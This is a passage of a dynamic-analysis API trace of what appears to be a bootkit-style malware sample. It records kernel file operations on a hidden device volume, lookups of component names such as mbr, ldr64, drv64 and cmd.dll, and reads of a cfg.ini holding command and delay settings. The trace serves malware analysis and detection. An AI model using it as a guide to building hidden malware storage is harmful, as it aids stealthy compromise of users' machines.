"\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.346] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.346] KeEnterCriticalRegion () [0123.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.346] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.346] IdePortDispatch () returned 0x103 [0123.346] KeWaitForMutexObject () returned 0x0 [0123.346] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.346] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.346] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.346] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.346] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.346] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.346] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.346] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.346] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.347] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.347] KeLeaveCriticalRegion () [0123.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.347] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.347] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.347] KeEnterCriticalRegion () [0123.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.347] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.347] IdePortDispatch () returned 0x103 [0123.347] KeWaitForMutexObject () returned 0x0 [0123.347] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.347] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.347] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.347] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.347] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.347] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.347] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.347] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.347] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.347] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.347] KeLeaveCriticalRegion () [0123.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.347] ReleaseMutex (hMutex=0x100) returned 1 [0123.347] Sleep (dwMilliseconds=0x2bf20) [0123.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cb7aff0, dwHighDateTime=0x1d24fa4)) [0123.354] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.354] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.354] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.354] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.354] KeEnterCriticalRegion () [0123.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.354] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.354] IdePortDispatch () returned 0x103 [0123.354] KeWaitForMutexObject () returned 0x0 [0123.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.354] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.354] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.354] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.354] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.354] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb8f0 [0123.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.354] KeLeaveCriticalRegion () [0123.354] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.354] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.354] KeEnterCriticalRegion () [0123.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.354] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.354] KeLeaveCriticalRegion () [0123.354] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.354] KeEnterCriticalRegion () [0123.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.355] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.355] IdePortDispatch () returned 0x103 [0123.356] KeWaitForMutexObject () returned 0x0 [0123.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.356] KeLeaveCriticalRegion () [0123.356] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.356] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.356] KeEnterCriticalRegion () [0123.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.356] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003492000 [0123.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.356] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.356] IdePortDispatch () returned 0x103 [0123.356] KeWaitForMutexObject () returned 0x0 [0123.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.356] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.356] IdePortDispatch () returned 0x103 [0123.356] KeWaitForMutexObject () returned 0x0 [0123.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.357] KeLeaveCriticalRegion () [0123.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.357] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.357] KeEnterCriticalRegion () [0123.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.357] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.357] KeLeaveCriticalRegion () [0123.357] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.357] KeEnterCriticalRegion () [0123.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.357] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.357] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb9b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.357] KeLeaveCriticalRegion () [0123.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.357] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.357] KeEnterCriticalRegion () [0123.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.358] ExFreePoolWithTag (P=0xfffffa8003beb8f0, Tag=0x0) [0123.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.358] KeLeaveCriticalRegion () [0123.358] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.358] ReleaseMutex (hMutex=0xf0) returned 1 [0123.358] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.358] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.358] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.358] KeEnterCriticalRegion () [0123.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.358] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.358] IdePortDispatch () returned 0x103 [0123.358] KeWaitForMutexObject () returned 0x0 [0123.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.358] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.358] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.358] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.358] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebb40 [0123.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.358] KeLeaveCriticalRegion () [0123.358] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.358] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.358] KeEnterCriticalRegion () [0123.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.358] KeLeaveCriticalRegion () [0123.358] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.358] KeEnterCriticalRegion () [0123.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.359] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.359] IdePortDispatch () returned 0x103 [0123.359] KeWaitForMutexObject () returned 0x0 [0123.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.359] KeLeaveCriticalRegion () [0123.359] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.359] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.359] KeEnterCriticalRegion () [0123.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.359] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003493000 [0123.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.359] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.359] IdePortDispatch () returned 0x103 [0123.359] KeWaitForMutexObject () returned 0x0 [0123.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.359] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.359] IdePortDispatch () returned 0x103 [0123.359] KeWaitForMutexObject () returned 0x0 [0123.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.360] KeLeaveCriticalRegion () [0123.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.360] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.360] KeEnterCriticalRegion () [0123.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.360] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.360] KeLeaveCriticalRegion () [0123.360] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.360] KeEnterCriticalRegion () [0123.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.360] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.360] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.360] KeLeaveCriticalRegion () [0123.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.360] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.360] KeEnterCriticalRegion () [0123.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.360] ExFreePoolWithTag (P=0xfffffa8003bebb40, Tag=0x0) [0123.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.360] KeLeaveCriticalRegion () [0123.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.360] ReleaseMutex (hMutex=0xf0) returned 1 [0123.360] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.361] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.361] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.361] KeEnterCriticalRegion () [0123.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.361] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.361] IdePortDispatch () returned 0x103 [0123.361] KeWaitForMutexObject () returned 0x0 [0123.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.361] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.361] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.361] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.361] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.361] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea7b0 [0123.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.361] KeLeaveCriticalRegion () [0123.361] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.361] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.361] KeEnterCriticalRegion () [0123.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.361] KeLeaveCriticalRegion () [0123.361] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.361] KeEnterCriticalRegion () [0123.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.361] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.361] IdePortDispatch () returned 0x103 [0123.361] KeWaitForMutexObject () returned 0x0 [0123.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.362] KeLeaveCriticalRegion () [0123.362] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.362] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.362] KeEnterCriticalRegion () [0123.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003494000 [0123.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.362] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.362] IdePortDispatch () returned 0x103 [0123.362] KeWaitForMutexObject () returned 0x0 [0123.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.362] IoAllocateIrp 